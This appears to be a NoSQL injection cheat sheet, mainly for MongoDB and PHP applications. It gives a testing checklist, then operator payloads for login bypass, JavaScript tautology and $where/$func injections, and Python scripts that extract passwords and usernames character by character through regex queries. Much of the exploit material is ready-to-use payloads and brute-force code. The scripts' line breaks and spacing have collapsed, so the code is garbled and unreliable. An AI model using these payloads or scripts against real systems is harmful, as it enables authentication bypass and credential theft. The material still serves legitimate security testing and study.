What NoSQL DB is being used (MongoDB, CouchDB, etc.)?
Verify injection points:
URL parameters
Form fields
HTTP headers (e.g., cookies, etc.)
Out-of-band (data retrieved from a third party)
Test with different operators: $eq, $ne, $gt, $gte, $lt, $lte, etc.
Can you trigger different responses?
Test for login bypass: {"$ne": ""}
Test for blind NoSQLi
Test for errors
Test for conditional responses
Test for conditional errors
Test for time delays
Test for out-of-band interactions
Is there a blocklist?
Can you bypass the blocklist?
Exploit
In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1 #Use the <regex>to find the length of a valueusername[$eq]=admin&password[$ne]=1 #<Equals>username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s #<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test andnotadmin){ $where: "this.credits == this.debits" }#<IF>, can be used toexecute code
An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.
Normal sql: ' or 1=1-- -Mongo sql: '||1==1//or' || 1==1%00 or admin'||'a'=='a
Extract length information
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
/?search=admin' && this.password%00 --> Check if the field password exists/?search=admin' && this.password && this.password.match(/.*/)%00--> start matching password/?search=admin' && this.password && this.password.match(/^a.*$/)%00/?search=admin' && this.password && this.password.match(/^b.*$/)%00/?search=admin' && this.password && this.password.match(/^c.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrary Function Execution
Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
"user":{"$func": "var_dump"}
Get info from different collection
It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
NOTE:$lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.
import requests, stringalphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(21):print("[i] Looking for char number "+str(i+1))for char in alphabet: r = requests.get("http://chall.com?param=^"+flag+char)if ("<TRUE>"in r.text): flag += charprint("[+] Flag: "+flag)break
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""whileTrue:for c in string.printable:if c notin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password + c) r = requests.post(u, data = {'ids': payload}, verify =False)if'OK'in r.text:print("Found one more char : %s"% (password+c)) password += c
Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
import requestsimport stringurl ="http://example.com"headers ={"Host":"exmaple.com"}cookies ={"PHPSESSID":"s3gcsgtqre05bah2vt6tibq8lsdfk"}possible_chars =list(string.ascii_letters)+list(string.digits)+ ["\\"+c for c in string.punctuation+string.whitespace ]defget_password(username):print("Extracting password of "+username) params ={"username":username,"password[$regex]":"","login":"login"} password ="^"whileTrue:for c in possible_chars: params["password[$regex]"]= password + c +".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)ifint(pr.status_code)==302: password += cbreakif c == possible_chars[-1]:print("Found password "+password[1:].replace("\\", "")+" for username "+username)return password[1:].replace("\\", "")defget_usernames(prefix): usernames = [] params ={"username[$regex]":"","password[$regex]":".*"}for c in possible_chars: username ="^"+ prefix + c params["username[$regex]"]= username +".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)ifint(pr.status_code)==302:print(username)for user inget_usernames(prefix + c): usernames.append(user)return usernamesfor u inget_usernames(""):get_password(u)